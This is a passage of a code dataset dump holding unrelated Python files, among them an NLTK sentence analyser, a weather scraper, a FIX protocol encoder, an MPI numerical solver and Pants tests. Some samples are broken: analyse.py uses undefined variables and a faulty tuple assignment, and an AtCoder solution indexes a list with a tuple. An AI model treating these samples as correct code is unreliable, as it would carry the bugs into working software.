self._difficulties:\n self.writeHighScorers(diff, {'None': None})\n self._clearHighScores = False\n\n self.showHighScorers()\n self.reset()\n\n def reset(self):\n \"\"\"\n Resets the UI.\\n\n :return: None\n \"\"\"\n self._tries = 0\n self.main._tries.set('Tries: ' + str(self._tries))\n self.main._selectedDiff.set('Difficulty:')\n self.main._result.set('')\n self.main.clearNumEntry()\n self.main.enableButtons()\n","sub_path":"btnFuncs.py","file_name":"btnFuncs.py","file_ext":"py","file_size_in_byte":7190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"99861477","text":"N = int(input())\nab = []\nfor _ in range(N):\n a,b = map(int,input().split())\n ab.append((a,b))\ncd = []\nfor _ in range(N):\n c,d = map(int,input().split())\n cd.append((c,d))\n\nab.sort(reverse=True)\ncd.sort(reverse=True)\n\ncnt = 0\nfor i in ab:\n for j in range(N):\n if i[0] < cd[i][0] and i[1] < cd[i][1]:\n cnt += 1\n break\n\nprint(cnt)\n","sub_path":"ABC091/C/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"604068410","text":"import matplotlib.pyplot as plt\nimport csv\n\nx = []\n\nwith open('RL_EXP_OUT.dat','r') as csvfile:\n plots = csv.reader(csvfile)\n for row in plots:\n x.append(row[0])\n\nplt.ylim(ymax = 1.0)\nplt.plot(x, label='alpha = 0.1\\nepsilon = 0.0\\nQ_1 = 5')\nplt.legend()\nplt.show()\n","sub_path":"Assignment 1/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"363861871","text":"# Imports\nimport nltk\nimport string\nfrom nltk.corpus import wordnet\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\n\n''' Analyses sentences '''\nclass SentenceAnalyser():\n \n \n # Initialise\n def __init__(self):\n \n # Tokenizer\n self.tokenizer = nltk.tokenize.TweetTokenizer()\n \n # Lemmatizer\n self.lemmatizer = nltk.WordNetLemmatizer()\n \n # Vader intensity analyser\n self.sentiment_analyser = SentimentIntensityAnalyzer()\n \n # Weighting for parts of speech\n self.pos_weighting = {\n \"a\" : 1,\n \"v\" : 1,\n \"r\" : 1,\n \"n\" : 1, \n None : 1, \n }\n \n ''' Processes a sentence into a list containing word objects '''\n def process(self, sentence):\n \n # Tokenise\n tokenized = self.tokenizer.tokenize(sentence)\n \n # Tag parts of speech\n pos_tagged = nltk.pos_tag(tokenized)\n \n # Lemmatize\n lemmatized_pos_tagged = [(self.lemmatizer.lemmatize(tagged_tuple[0]), tagged_tuple[1]) for tagged_tuple in pos_tagged]\n\n # Convert tagged tuple to words\n word_list = [Word(tagged_tuple[0], tagged_tuple[1]) for tagged_tuple in lemmatized_pos_tagged]\n\n # Return\n return Sentence(word_list, self.sentiment_analyser.polarity_scores(sentence))\n\n ''' Calculates the similarity score for two sentences based on the words that they contain '''\n def diff(self, sentence, sentence2):\n \n # Similarities\n similarities = 0\n \n # Sentence synsets\n word_list_raw, word_list_raw2 = self.process(sentence), self.process(sentence2)\n \n # Padded lists\n word_list, word_list2 = self.__pad_list__(word_list_raw, word_list_raw2)\n \n # Iterate through synset list\n for word in word_list_raw:\n \n # Iterate through other synset list\n for word2 in word_list_raw2:\n \n # Check if words are equivalent\n if word.equivalent(word2): similarities += self.pos_weighting[synsets_tagged[1]]\n \n # Bigger & smaller sentence\n bigger, smaller = word_list, word_list2 if len(word_list) > len(word_list2) else word_list2, word_list\n \n # Calculate simscore\n sim_score = similarities / len(smallest)\n \n # Return\n return sim_score\n \n # Pads the smaller list to be equal to the length of the bigger list\n def __pad_list__(self, word_list, word_list2):\n \n # Bigger & smaller lists\n bigger, smaller = word_list, word_list2 if len(word_list) > len(word_list2) else word_list2, word_list\n \n # Get amount to pad\n pad_amount = len(bigger) - len(smaller)\n \n # Pad\n for i in range(0, pad_amount):\n \n # Append none to smallest\n smallest.append(None)\n \n # Return\n return smallest, largest\n \n'''Provides an abstraction over Nltk's Synsets'''\nclass Word():\n \n # Initialise\n def __init__(self, word_string, pos):\n \n # Word string\n self.word_string = word_string\n \n # Word part of speech\n self.pos = pos\n \n # Check if POS has wordnet equivalent\n self.pos_wn = pos_to_wn(self.pos)\n self.pos_wn = self.pos_wn if self.pos_wn != self.pos else self.pos\n \n # Synsets\n self.synsets = wordnet.synsets(self.word_string, self.pos_wn) if self.pos[0] in string.ascii_letters and self.pos_wn != self.pos else [self.word_string]\n \n ''' Checks if two words are equivalent '''\n def equivalent(self, word_object): return not self.synsets.isdisjoint(word_object.synsets)\n\n''' Sentence object '''\nclass Sentence():\n \n # Initialise\n def __init__(self, word_list, semantics): \n \n self.word_list, self.semantics = word_list, semantics\n\n''' Takes an NLTK part-of-speech tag and returns the WordNet equivalent tag. Returns none if there is no equivalent '''\ndef pos_to_wn(pos):\n \n if pos.startswith(\"J\"): return \"a\"\n elif pos.startswith(\"V\"): return \"v\"\n elif pos.startswith(\"N\"): return \"n\"\n elif pos.startswith(\"R\"): return \"r\"\n else: return pos\n ","sub_path":"src/main/python/analyse.py","file_name":"analyse.py","file_ext":"py","file_size_in_byte":4354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"351363890","text":"import warnings\r\nwarnings.filterwarnings('ignore',category=FutureWarning)\r\nwarnings.filterwarnings('ignore',category=DeprecationWarning)\r\nimport pickle\r\nfrom configparser import ConfigParser, NoOptionError\r\nimport os\r\nimport pandas as pd\r\nfrom simba.drop_bp_cords import drop_bp_cords\r\nimport warnings\r\nfrom simba.rw_dfs import *\r\n\r\nwarnings.simplefilter(action='ignore', category=FutureWarning)\r\n\r\ndef validate_model_one_vid_1stStep(inifile,csvfile,savfile):\r\n configFile = str(inifile)\r\n config = ConfigParser()\r\n config.read(configFile)\r\n try:\r\n wfileType = config.get('General settings', 'workflow_file_type')\r\n except NoOptionError:\r\n wfileType = 'csv'\r\n sample_feature_file = str(csvfile)\r\n sample_feature_file_Name = os.path.basename(sample_feature_file)\r\n sample_feature_file_Name = sample_feature_file_Name.split('.', 1)[0]\r\n classifier_path = savfile\r\n classifier_name = os.path.basename(classifier_path).replace('.sav','')\r\n inputFile = read_df(sample_feature_file, wfileType)\r\n inputFile = inputFile.loc[:, ~inputFile.columns.str.contains('^Unnamed')]\r\n inputFile = inputFile.drop(['scorer'], axis=1, errors='ignore')\r\n inputFile.to_csv('test.csv')\r\n outputDf = inputFile\r\n inputFileOrganised = drop_bp_cords(inputFile, inifile)\r\n print('Running model...')\r\n clf = pickle.load(open(classifier_path, 'rb'))\r\n ProbabilityColName = 'Probability_' + classifier_name\r\n predictions = clf.predict_proba(inputFileOrganised)\r\n outputDf[ProbabilityColName] = predictions[:, 1]\r\n\r\n # CREATE LIST OF GAPS BASED ON SHORTEST BOUT\r\n vidInfPath = config.get('General settings', 'project_path')\r\n vidInfPath = os.path.join(vidInfPath, 'logs', 'video_info.csv')\r\n vidinfDf = pd.read_csv(vidInfPath)\r\n fps = vidinfDf.loc[vidinfDf['Video'] == str(sample_feature_file_Name.replace('.' +wfileType, ''))]\r\n try:\r\n fps = int(fps['fps'])\r\n except TypeError:\r\n print('Error: make sure all the videos that are going to be analyzed are represented in the project_folder/logs/video_info.csv file')\r\n\r\n outFname = sample_feature_file_Name + '.' + wfileType\r\n csv_dir_out_validation = config.get('General settings', 'csv_path')\r\n csv_dir_out_validation = os.path.join(csv_dir_out_validation,'validation')\r\n if not os.path.exists(csv_dir_out_validation):\r\n os.makedirs(csv_dir_out_validation)\r\n outFname = os.path.join(csv_dir_out_validation, outFname)\r\n save_df(outputDf, wfileType, outFname)\r\n print('Predictions generated.')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"simba/runmodel_1st.py","file_name":"runmodel_1st.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"526617046","text":"'''\n@Description this file is to provide code for scraping the weather information\n@Author rarer_997\n@Date 2019-10-08\n'''\nfrom urllib.request import urlopen # b_soup_1.py\nimport requests\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime, date, time, timedelta\nimport pandas as pd\n\ncity_name = []\nfor i in range(3370,3694):\n city_name.append(str(i))\n'''\n@Description build the city and its relevant id dictionary\n@Author rarer_997\n@Date 2019-10-08\n'''\ncity = {\"3370\":\"Canberra\",\"3372\":\"Adelaide\",\"3418\":\"Brisbane\",\"3586\":\"Melbourne\",\"3677\":\"Sydney\"}\n\n#the function of getting the month's list between the start month and end month\ndef get_month_list(datestart,dateend):\n month = []\n while datestart<=dateend:\n date_temp = datestart.strftime('%Y-%m')\n if date_temp not in month:\n month.append(date_temp)\n datestart+=timedelta(days=1)\n return month\n\nstart = datetime.strptime(\"2013-11\",'%Y-%m')\nend = datetime.strptime(\"2018-5\",'%Y-%m')\n'''\n@Description get the month list from 2013-11 to 2018-05\n@Author rarer_997\n@Date 2019-10-08\n'''\nmonth = get_month_list(start,end)\n\nwriter = pd.ExcelWriter('weather_info.xlsx')\nfor city_number,city_name in city.items():\n name_list = ['date','start_weather','end_weather','max_temp','min_temp','start_wind','end_wind']\n City = pd.DataFrame(columns=name_list)\n for month_index in month:\n '''\n @Description get the certain cities' certain month's URL\n @Author rarer_997\n @Date 2019-10-08\n '''\n address = \"http://www.tianqihoubao.com/guoji/\"+city_number+\"/\"+month_index+\".html\"\n try:\n html = requests.get(address).content\n except:\n print(address)\n continue\n soup = BeautifulSoup(html,features=\"html.parser\")\n soup2 = soup.findAll('div', class_ = 'wdetail')\n for info in soup2:\n tr_list = info.find_all('tr')[1:]\n for tr in tr_list:\n temp_dict = {}\n td_list = tr.find_all('td')\n '''\n @Description get the relevant weather information and store them in a dict\n @Author rarer_997\n @Date 2019-10-08\n '''\n temp_dict['date'] = td_list[0].text.strip().replace(\"\\n\",\"\")\n temp_dict['start_weather'] = td_list[1].text.strip().replace(\"\\n\",\"\").split(\"/\")[0].strip()\n temp_dict['end_weather'] = td_list[1].text.strip().replace(\"\\n\",\"\").split(\"/\")[1].strip()\n temp_dict['max_temp'] = td_list[2].text.strip().replace(\"\\n\",\"\").split(\"/\")[0].strip()\n temp_dict['min_temp'] = td_list[2].text.strip().replace(\"\\n\",\"\").split(\"/\")[1].strip()\n temp_dict['start_wind'] = td_list[3].text.strip().replace(\"\\n\",\"\").split(\"/\")[0].strip()\n temp_dict['end_wind'] = td_list[3].text.strip().replace(\"\\n\",\"\").split(\"/\")[1].strip()\n City = City.append(temp_dict,ignore_index = True)\n City.to_excel(writer,sheet_name=city_name,index=False,encoding=\"utf-8\")\nwriter.save()\nwriter.close()","sub_path":"Scrape/weather_scrape/weather_data_scrap.py","file_name":"weather_data_scrap.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"531940743","text":"from typing import Iterator, List, Tuple\nfrom ..meta_data import (\n message_member_iter,\n MessageMemberMetaData,\n MessageMetaData,\n ProtocolMetaData,\n FieldMessageDataMap\n)\nfrom .errors import EncodingError\nfrom .common import SOH, encode_value\n\n\ndef _encode_fields(\n protocol: ProtocolMetaData,\n encoded_message: List[Tuple[bytes, bytes]],\n data: FieldMessageDataMap,\n meta_data: Iterator[MessageMemberMetaData]\n) -> None:\n for meta_datum in meta_data:\n # Check for required fields.\n if meta_datum.member.name not in data:\n if meta_datum.is_required:\n raise EncodingError(f'required field \"{meta_datum.member.name}\" is missing')\n continue\n\n item_data = data[meta_datum.member.name]\n if meta_datum.type == 'field':\n value = encode_value(protocol, meta_datum.member, item_data)\n encoded_message.append((meta_datum.member.number, value))\n elif meta_datum.type == 'group':\n value = encode_value(protocol, meta_datum.member, len(item_data))\n encoded_message.append((meta_datum.member.number, value))\n for group_item in item_data:\n _encode_fields(\n protocol,\n encoded_message,\n group_item,\n message_member_iter(meta_datum.children.values())\n )\n else:\n raise EncodingError(f'unknown type \"{meta_datum.type}\" for item \"{meta_datum.member.name}\"')\n\n\ndef _regenerate_integrity(\n protocol: ProtocolMetaData,\n encoded_message: List[Tuple[bytes, bytes]],\n sep: bytes,\n convert_sep_for_checkum: bool\n) -> bytes:\n body = sep.join(field + b'=' + value for field, value in encoded_message[2:-1]) + sep\n body_lengh = len(body)\n\n encoded_header = [\n (protocol.fields_by_name['BeginString'].number, protocol.begin_string),\n (protocol.fields_by_name['BodyLength'].number, str(body_lengh).encode('ascii'))\n ]\n header = sep.join(field + b'=' + value for field, value in encoded_header) + sep\n\n buf = header + body\n\n # Calculate the checksum\n check_sum = sum(buf if sep == SOH or not convert_sep_for_checkum else buf.replace(sep, SOH)) % 256\n buf += protocol.fields_by_name['CheckSum'].number + b'=' + f'{check_sum:#03}'.encode('ascii') + sep\n\n return buf\n\n\ndef encode(\n protocol: ProtocolMetaData,\n data: FieldMessageDataMap,\n meta_data: MessageMetaData,\n *,\n sep: bytes = SOH,\n regenerate_integrity: bool = True,\n convert_sep_for_checksum: bool = True\n) -> bytes:\n encoded_message: List[Tuple[bytes, bytes]] = []\n\n if regenerate_integrity:\n data['BeginString'] = protocol.begin_string.decode('ascii')\n data['BodyLength'] = 0\n data['CheckSum'] = '000'\n\n _encode_fields(protocol, encoded_message, data, message_member_iter(protocol.header.values()))\n _encode_fields(protocol, encoded_message, data, message_member_iter(meta_data.fields.values()))\n _encode_fields(protocol, encoded_message, data, message_member_iter(protocol.trailer.values()))\n\n if regenerate_integrity:\n buf = _regenerate_integrity(protocol, encoded_message, sep, convert_sep_for_checksum)\n else:\n buf = sep.join(field + b'=' + value for field, value in encoded_message) + sep\n\n return buf\n","sub_path":"src/aiofix/fix_message/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":3412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"106625257","text":"import numpy as np\r\nimport math as m\r\n\r\n#Calculate D:\r\ndef D(x_0,y_0,x_1,y_1):\r\n x_D=(x_1-x_0)\r\n y_D=(y_1-y_0)\r\n D=[x_D,y_D]\r\n return D\r\n\r\ndef NiD(func):\r\n N=[(-1,0),(0,1),(1,0),(0,-1)] #[left, top, right, bottom]\r\n ND=[] #[left, top, right, bottom]\r\n for i in range(0,len(N)):\r\n ND.append(np.dot(N[i],func))\r\n\r\n return ND\r\n\r\n\r\n# P=(x_0,y_0)+(np.dot(t,D))\r\ndef calculateT(i):\r\n if(i==0):\r\n return round((-(x_0-x_min)/(x_1-x_0)),8) # t_left(x_0,x_1,x_min)\r\n\r\n elif(i==1):\r\n return round((-(x_0-x_max)/(x_1-x_0)),8) #t_right(x_0,x_1,x_max):\r\n\r\n elif(i==2):\r\n return round((-(y_0-y_max)/(y_1-y_0)),8) #t_top(y_0,y_1,y_max):\r\n\r\n elif(i==3):\r\n return round((-(y_0-y_min)/(y_1-y_0)),8) #t_bottom(y_0,y_1,y_min):\r\n\r\n\r\ndef P(x_0, y_0, t, func):\r\n D=func\r\n tdotD=np.dot(t,D)\r\n p=np.sum([[x_0,y_0],tdotD],axis=0)\r\n return p\r\n\r\n\r\ndef cyrusBeck(x_0,y_0,x_1,y_1):\r\n lineSegment=[[x_0,y_0],[x_1,y_1]]\r\n N=[(-1,0),(0,1),(1,0),(0,-1)]\r\n c=0\r\n tEntering=[] #[left, top, right, bottom]\r\n tLeaving=[] #[left, top, right, bottom]\r\n d=D(x_0,y_0,x_1,y_1)\r\n NdotD=[] #[left, top, right, bottom]\r\n NdotPoints=[]\r\n t=[]\r\n P1=[x_1,y_1]\r\n P0=[x_0,y_0]\r\n P0_new=[]\r\n P1_new=[]\r\n \r\n if(P1==P0):\r\n print(\"lol\")\r\n else:\r\n t_Enter=0\r\n t_Leave=1 \r\n NdotD=NiD(d)\r\n for i in range(0,len(NdotD)):\r\n if(NdotD[i]!=0):\r\n theT=calculateT(i)\r\n t.append(theT)\r\n if(NdotD[i]<0):\r\n NdotPoints.append(\"PL\")\r\n finaltE=t[i]\r\n tEntering.append(finaltE)\r\n elif(NdotD[i]>0):\r\n NdotPoints.append(\"PE\")\r\n finaltL=t[i]\r\n tLeaving.append(finaltL)\r\n\r\n \r\n print(f\"This is N points based on Ni.D sequencing left, top, right, bottom:{N}\")\r\n print(f\"This is Ni.D sequencing left, top, right, bottom: {NdotD}\")\r\n print(f\"This is PL/PE points based on Ni.D sequencing left, top, right, bottom: {NdotPoints}\")\r\n print(f\"This is all the t values sequencing left, top, right, bottom: {t}\")\r\n print(f\"These are all the tE that enters the clip window as per to PE: {tEntering}\")\r\n print(f\"These are all the tL that enters the clip window as per to PL: {tLeaving}\")\r\n \r\n \r\n print(f\"t_e max: {max(tEntering)}\")\r\n print(f\"t_l min: {min(tLeaving)}\")\r\n print(f\"Value of D: {d}\")\r\n print(\"---------------------------------------------------------------\")\r\n if(max(tEntering)>min(tLeaving)):\r\n print(\"tE is greater then tL\") \r\n else:\r\n P0_new = P(x_0,y_0,max(tEntering),d)\r\n P1_new = P(x_0,y_0,min(tLeaving),d)\r\n \r\n\r\n return [P0_new, P1_new], max(tEntering), min(tLeaving)\r\n\r\n\r\n#boundary\r\nx_min=21\r\ny_min=42\r\n\r\nx_max=-2\r\ny_max=1\r\n\r\n#points\r\nx_0=-1\r\ny_0=55\r\n\r\nx_1=68\r\ny_1=-37\r\n\r\nresult=[]\r\nresult, tE, tL=cyrusBeck(x_0,y_0,x_1,y_1)\r\nT=tL-tE\r\nprint(f\"Value of tL-tE: {T}\")\r\nx=result[0]\r\ny=result[1]\r\nx_2=np.square(np.subtract(x[0],y[0]))\r\ny_2=np.square(np.subtract(x[1],y[1]))\r\nfinal=x_2+y_2\r\nprint(f\"Length of lineSegment: {m.sqrt(final)}\")\r\n\r\nprint(f\"P({tE})= {result[0]}\")\r\nprint(f\"P({tL})= {result[1]}\")\r\n","sub_path":"CyrusBeck.py","file_name":"CyrusBeck.py","file_ext":"py","file_size_in_byte":3336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"570233711","text":"from potentialflowvisualizer import *\n\nfield = Flowfield(\n objects=[\n Freestream(u=1, v=0),\n Source(strength=5, x=-5, y=0),\n Vortex(strength=5, x=0, y=5),\n Doublet(strength=5, x=0, y=0, alpha=0),\n LineVortex(strength=-5, x1 = 0, y1 = -5, x2 = 5, y2 = 0),\n LineSource(strength=-5, x1 = 0, y1 = 5, x2 = 5, y2 = 0),\n ]\n)\n\nfield.draw(\"potential\")\nfield.draw(\"streamfunction\")\nfield.draw(\"xvel\")\nfield.draw(\"yvel\")\nfield.draw(\"velmag\")\n","sub_path":"examples/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"192868297","text":"import numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport math\nimport sys\n\nfrom mpi4py import MPI\n\nif __name__ == \"__main__\":\n a = 0.25; T = 2.0; X = 100.0\n X_original = X\n fi = lambda x: math.sin(x/10) #t=0\n ksi = lambda t: t**3#x=0\n f = lambda t, x: math.sin(x*t/2) + t**3\n \n \n h = h_original = 0.01\n tau = tau_original = 0.01\n # tau = h/a \n # tau = 1.2 * h/a \n comm = MPI.COMM_WORLD\n size = comm.Get_size()\n rank = comm.Get_rank()\n est_time = []\n nodes_amount = []\n # y = [] \n # t =[] \n # comp_per_unit = 0\n # last_unit_comp = 0\n if size != 1:\n if sys.argv[1] == 'speedup':\n repeat_times = 10\n else:\n repeat_times = 1\n\n transfer_time = 0\n for _ in range(repeat_times):\n X = X_original\n X += h\n nodes_amount.append((X/h)*(T/tau))\n comp_per_unit = (X // h) // size #computations per unit\n if X // h % size == 0:\n last_unit_comp = comp_per_unit + 1 #last unit computations\n else:\n last_unit_comp = (X // h) - comp_per_unit * (size-1) + 1\n t = np.arange(0, T + tau, tau)\n\n if rank != size - 1:\n x = np.arange(rank * comp_per_unit * h, (rank + 1) * comp_per_unit * h - h*0.0000001, h)#crashed here smtimes\n else:\n x = np.arange(rank * comp_per_unit * h, (rank * comp_per_unit + last_unit_comp) * h, h)\n\n y = [0] * len(t)\n for i in range(len(t)):\n y[i] = [0.] * len(x)\n\n for j in range(0, len(x)):\n y[0][j] = fi(x[j]) # edge conditions x: u(0,x) = fi(x)\n \n\n if rank != 0 and rank != size - 1:\n for i in range(0, len(t) - 1):\n left_border = comm.recv(source=rank-1, tag=1) # left border\n comm.send(y[i][len(x) - 1], dest=rank+1, tag=1)\n right_border = comm.recv(source=rank+1, tag=0) # right border\n comm.send(y[i][0], dest=rank-1, tag=0)\n y[i+1][0] = 0.5*(y[i][1] + left_border) - 0.5*(tau/h)*(y[i][1] - left_border) + tau*f(t[i], x[0])#mb err\n for j in range(1, len(x) - 1):\n y[i+1][j] = 0.5*(y[i][j+1] + y[i][j-1]) - 0.5*(tau/h)*(y[i][j+1] - y[i][j-1]) + tau*f(t[i], x[j])\n y[i+1][len(x) - 1] = 0.5*(right_border + y[i][len(x)-2]) - 0.5*(tau/h)*(right_border - y[i][len(x)-2]) + tau*f(t[i], x[len(x) - 1])\n y = np.array(y)\n comm.send(y, dest = size - 1, tag=2)\n # print(\"rank: {} time: {} rcvd from b: {} rcvd from s: {} send to b: {} send to s: {}\".format(rank, ))\n\n\n if rank == 0:\n for i in range(0, len(t)):\n y[i][0] = ksi(t[i])\n comp_time = 0\n for i in range(0, len(t) - 1):\n tr_s = MPI.Wtime()\n comm.send(y[i][len(x) - 1], dest=1, tag=1)\n right_border = comm.recv(source=1, tag=0)\n transfer_time = MPI.Wtime() - tr_s\n start = MPI.Wtime()\n for j in range(1, len(x) - 1):\n y[i+1][j] = 0.5*(y[i][j+1] + y[i][j-1]) - 0.5*(tau/h)*(y[i][j+1] - y[i][j-1]) + tau*f(t[i], x[j])\n y[i+1][len(x) - 1] = 0.5*(right_border + y[i][len(x)-2]) - 0.5*(tau/h)*(right_border - y[i][len(x)-2]) + tau*f(t[i], x[len(x) - 1])\n comp_time += MPI.Wtime() - start\n y = np.array(y)\n est_time.append(comp_time)\n print(\"start time: {}\".format(comp_time))\n comm.send(y, dest=size-1, tag=2)\n\n if rank == size - 1:\n for i in range(0, len(t) - 1):\n left_border = comm.recv(source=rank-1, tag=1)\n comm.send(y[i][0], dest=rank-1, tag=0)\n y[i+1][0] = 0.5*(y[i][1] + left_border) - 0.5*(tau/h)*(y[i][1] - left_border) + tau*f(t[i], x[0])\n for j in range(1, len(x) - 1):\n y[i+1][j] = 0.5*(y[i][j+1] + y[i][j-1]) - 0.5*(tau/h)*(y[i][j+1] - y[i][j-1]) + tau*f(t[i], x[j])\n y[i+1][len(x) - 1] = y[i][len(x) - 1] - tau*(y[i][len(x) - 1]-y[i][len(x) - 2])/h + tau*f(t[i], x[j])\n y = np.array(y)\n for i in range(size - 2, -1, -1):\n recieved_data = comm.recv(source=i, tag=2)\n y = np.concatenate((recieved_data, y), axis=1)\n\n h *= 0.93\n tau *= 0.93\n\n\n\n\n if rank == size - 1 and sys.argv[1] == 'plot':\n print(\"cpu: \", comp_per_unit, \" luc: \", last_unit_comp)\n fig3 = plt.figure()\n ax3 = fig3.add_subplot(111, projection='3d')\n x = np.arange(0, ((size - 1) * comp_per_unit + last_unit_comp) * h_original, h_original)\n x, t = np.meshgrid(x, t)\n print('x: ',x.shape,' t: ', t.shape, ' y: ', y.shape )\n ax3.plot_surface(x, t, y)\n\n ax3.set_xlabel('plot for %d workers' % size)\n ax3.set_xlabel('x')\n ax3.set_ylabel('t')\n ax3.set_zlabel('u')\n # plt.show()\n plt.savefig('%dwplot.png' % (size))\n\n\n if rank == 0 and sys.argv[1] == 'speedup':\n fig3 = plt.figure()\n ax3 = fig3.add_subplot(111)\n x = np.array(nodes_amount)\n y = np.array(est_time)\n # ax3.set_xscale('log')\n # ax3.set_yscale('log')\n ax3.plot(x, y)\n ax3.set_title('speedup for %d workers\\nwith ttpn (ms): %f\\nestimated time: %f' % (size, transfer_time / (1000*(h/0.93)*(tau/0.93)), est_time[0]))\n ax3.set_xlabel('nodes amount')\n ax3.set_ylabel('time estimated')\n # plt.show()\n plt.savefig('%dwspeedup.png' % (size))\n else:\n x = np.arange(0, X + h, h)\n t = t = np.arange(0, T + tau, tau)\n y = [0] * len(t)\n start = MPI.Wtime()\n for i in range(len(t)):\n y[i] = [0.] * len(x)\n y[i][0] = ksi(t[i])\n for j in range(0, len(x)):\n y[0][j] = fi(x[j]) # edge conditions x: u(0,x) = fi(x)\n for i in range(0, len(t) - 1):\n for j in range(1, len(x) - 1):\n y[i+1][j] = 0.5*(y[i][j+1] + y[i][j-1]) - 0.5*(tau/h)*(y[i][j+1] - y[i][j-1]) + tau*f(t[i], x[j])\n y[i+1][len(x) - 1] = y[i][len(x) - 1] - tau*(y[i][len(x) - 1]-y[i][len(x) - 2])/h + tau*f(t[i], x[j])\n finish = MPI.Wtime()\n fig = plt.figure()\n ax = fig.add_subplot(111,projection='3d')\n x, t = np.meshgrid(x, t)\n u = np.array(y)\n ax.plot_surface(x,t,u)\n ax.set_title('line version.\\nestimated time: %f' % (finish - start))\n ax.set_xlabel('x')\n ax.set_ylabel('y')\n ax.set_zlabel('u')\n plt.savefig('1w.png')\n # python3 app.py\n","sub_path":"PP/transferEquation/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"369375245","text":"from django.urls import path\nfrom blog.views import PostDetailView, search, PostBlogView, UpdateBlogView, DeleteBlogView, CommentReplyView\n\n\nurlpatterns = [\n\n path( 'post_blog_page/', PostBlogView.as_view(), name='post_blog_page' ),\n path( 'post_blog_page/update/', UpdateBlogView.as_view(), name='update_blog_page' ),\n path( 'post_blog_page/delete/', DeleteBlogView.as_view(), name='delete_blog_page' ),\n path( 'post//', PostDetailView.as_view(), name='post' ),\n path( 'post//comment//reply', CommentReplyView.as_view(), name='reply' ),\n path( 'q', search, name='search' ),\n]\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"156525962","text":"n=int(input())\nif n==1:\n print(1)\nelif n==11:\n print(2)\nelse:\n s='111'\n while true:\n \n a=int(s)\n if a%n==0:\n print(len(s))\n break\n else:\n s+='1'\n ","sub_path":"Code/CodeRecords/2367/60648/268241.py","file_name":"268241.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"472100624","text":"# Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nimport os\nimport unittest\n\nfrom pants.cache.artifact import ArtifactError, DirectoryArtifact, TarballArtifact\nfrom pants.util.contextutil import temporary_dir\nfrom pants.util.dirutil import safe_mkdir, safe_open\nfrom pants_test.test_base import TestBase\n\n\nclass TarballArtifactTest(TestBase):\n\n def setUp(self):\n super().setUp()\n # Init engine because decompression now goes through native code.\n self._init_engine()\n TarballArtifact.NATIVE_BINARY = self._scheduler._scheduler._native\n\n def test_get_paths_after_collect(self):\n with temporary_dir() as tmpdir:\n artifact_root = os.path.join(tmpdir, 'artifacts')\n cache_root = os.path.join(tmpdir, 'cache')\n safe_mkdir(cache_root)\n\n file_path = self.touch_file_in(artifact_root)\n\n artifact = TarballArtifact(artifact_root, os.path.join(cache_root, 'some.tar'))\n artifact.collect([file_path])\n\n self.assertEqual([file_path], list(artifact.get_paths()))\n\n def test_does_not_exist_when_no_tar_file(self):\n with temporary_dir() as tmpdir:\n artifact_root = os.path.join(tmpdir, 'artifacts')\n cache_root = os.path.join(tmpdir, 'cache')\n safe_mkdir(cache_root)\n\n artifact = TarballArtifact(artifact_root, os.path.join(cache_root, 'some.tar'))\n self.assertFalse(artifact.exists())\n\n def test_exists_true_when_exists(self):\n with temporary_dir() as tmpdir:\n artifact_root = os.path.join(tmpdir, 'artifacts')\n cache_root = os.path.join(tmpdir, 'cache')\n safe_mkdir(cache_root)\n\n path = self.touch_file_in(artifact_root)\n\n artifact = TarballArtifact(artifact_root, os.path.join(cache_root, 'some.tar'))\n artifact.collect([path])\n\n self.assertTrue(artifact.exists())\n\n def test_non_existent_tarball_extraction(self):\n with temporary_dir() as tmpdir:\n artifact = TarballArtifact(artifact_root=tmpdir, tarfile_='vapor.tar')\n with self.assertRaises(ArtifactError):\n artifact.extract()\n\n def test_corrupt_tarball_extraction(self):\n with temporary_dir() as tmpdir:\n path = self.touch_file_in(tmpdir, content='invalid')\n artifact = TarballArtifact(artifact_root=tmpdir, tarfile_=path)\n with self.assertRaises(ArtifactError):\n artifact.extract()\n\n def touch_file_in(self, artifact_root, content=''):\n path = os.path.join(artifact_root, 'some.file')\n with safe_open(path, 'w') as f:\n f.write(content)\n return path\n\n\nclass DirectoryArtifactTest(unittest.TestCase):\n def test_exists_when_dir_exists(self):\n with temporary_dir() as tmpdir:\n artifact_root = os.path.join(tmpdir, 'artifacts')\n\n artifact_dir = os.path.join(tmpdir, 'cache')\n safe_mkdir(artifact_dir)\n\n artifact = DirectoryArtifact(artifact_root, artifact_dir)\n self.assertTrue(artifact.exists())\n\n def test_does_not_exist_when_dir_missing(self):\n with temporary_dir() as tmpdir:\n artifact_root = 